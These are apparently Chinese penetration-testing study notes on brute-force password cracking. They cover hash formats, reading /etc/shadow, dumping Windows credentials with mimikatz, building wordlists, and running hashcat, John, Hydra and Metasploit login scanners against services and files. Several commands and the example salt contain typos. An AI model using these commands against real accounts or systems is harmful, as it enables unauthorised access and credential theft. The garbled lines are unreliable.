暴力破解
通过尝试所有可能的密码组合,直到找到正确的密码
攻击者会利用各种工具和方法来尝试破解哈希值,从而获取原始数据
哈希
一种将任意长度的数据映射为固定长度数据的方法,用于验证数据完整性或者快速查找数据。
哈希值是指通过哈希算法对原始数据进行加密后得到的固定长度的数据。
哈希值也被称为:散列值、摘要值 或者 指纹值。
哈希值具有以下特点:
- 正向快速
- 逆向困难
- 输入敏感
- 避免冲突
哈希算法种类: - 消息摘要算法 MD:任意长度数据映射为 128 位哈希值,速度快、安全性低。
- 安全散列算法 SHA:映射为160位或者更长的哈希值,安全性高、速度慢。
- 哈希消息认证码 HMAC:在 MD 和 SHA 基础上,加入密钥。增强了抗篡改性和抗重放性,缺点是需要双方共享密钥。
对 linux 系统的哈希收集
用户密码的 hash 值储存在 /etc/shadow 中,root 用户权限可访问。
bash
cat /etc/shadow

- 根据 666.OXeA/S51$CYbigFJwf7aa3HyV2DPyBhQBZfUJCEBK99P8GYCY4874fw2VmBuITENNpn6BXxkIUo5weWvIaNuSC2yyC9h8U/
判断得出是 SHA-512 加密(666),且包含一个随机 salt (.OXeA/S51.OXeA/S51.OXeA/S51)
对 windows 系统的哈希收集
用户密码的 hash 值通常存储在 SAM 文件或者 NTDS.DIT 文件中,系统进程可以访问
- 通过Mimikatz工具获取用户密码的哈希值
bash
mimikatz.exe sekurlsa::logonpasswords

2. 密码字典
密码字典是值一组常用或者可能的密码集合,用于穷举猜解。
分类:
- 弱密码字典
- 强密码字典
- 定制化字典:根据目标的特征定制优化的密码
- 专用字典
自带的字典文件
- kali 的 /usr/share/wordlists 文件夹下
- rockyou.txt 最常用,包含 1400 多万个密码
bash
zip -d rockyou.txt.gz
其他字典文件介绍如下:
- dirb和dirbuster:常见网页目录和文件名,以及扩展名,供Dirb或DirBuster工具对目标网站进行扫描,以枚举网页目录和文件。
- fern-wifi:该目录中存储了常见的无线网络密码的文本文件,可供Fern Wifi Cracker工具对无线网络进行破解。
- metasploit:常见的用户名、密码、域名、端口等信息
- wfuzz:该目录中的文件包含了一些常见的网站目录、文件名、参数名、参数值等信息,可以用于不同类型的Web应用的fuzzing(模糊测试)
github 上的 seclists 和 bruteforce-database
生成密码字典
(1)CeWL
帮助暴力破解与网站内容相关的密码
bash
cewl -w 保存的文件名 目标URL地址
(2)cupp
根据目标人物个人信息生成字典文件
bash
apt install cupp
(3)Crunch
根据攻击者指定的规则和字符集生成不同长度和格式的密码
bash
crunch 最小长度 最大长度 字符集 选项
3. hashcat 暴力破解
专门用于暴力破解密码的工具
基础
(1)查看加密算法 ID 信息
bash
hashcat --help`在这里插入代码片`
(2)攻击模式
- 0 | Straight:直接攻击模式,指定密码字典文件破解哈希。
- 1 | Combination:组合攻击模式,将多个密码字典文件中的内容拼接起来,以破解哈希。
- 3 | Brute-force:暴力破解模式,使用指定的字符集,按照格式生成密码并破解哈希。
- 6 | Hybrid Wordlist + Mask:通过字典文件加掩码组合,以破解哈希。
- 7 | Hybrid Mask + Wordlist:通过掩码加字典文件组合,以破解哈希。
- 9 | Association:关联攻击,使用一个用户名、一个文件名和一个提示,或者任何其他可能影响密码生成的信息,针对一个特定的哈希进行破解。
bash
hashcat -a 0 -m 1800 用户哈希字典文件
破解压缩包密码
(1)rar2john 获取压缩文件 hash 值
bash
ar2john 压缩包 > test.txt"
(2)破解
bash
hashcat -a 0 -m 13000 test.txt字典文件"
分布式暴力破解
bash
hashcat --brain-server --brain-host=本机IP地址 --brain-port=本机端口 --brain-password=大脑主机密码
4. Hydra
通常用来对网络服务进行暴力破解,例如SSH、FTP、Telnet等
bash
hydra -L用户字典文件 -P密码字典文件 -t 10 -e ns ftp://IP地址
hydra -l指定用户名 -P密码字典文件 协议://目标主机IP地址
5. John
支持目前大多数的加密算法,如DES、MD4、MD5等。该工具支持多种格式文件的哈希值,如RAR、ZIP、Word、Excel、PDF等文件的密码哈希值
- 脚本位于 /usr/share/john/ 下
- 破解 pdf 方法如下
(1)提取 pdf 哈希值
bash
./pdf2john.pl PDF文件 > 保存哈希的文件名
(2)破解
bash
john --wordlist=字典文件PDF文件的哈希值
6. Metasploit
- 查看用于暴力破解的模块
bash
search auxiliary/scanner login
- 以 telnet 为例
bash
use auxiliary/scanner/telnet/ telnet_login
show options # 设置 RHOSTS 为目标系统ip
exploit
sessions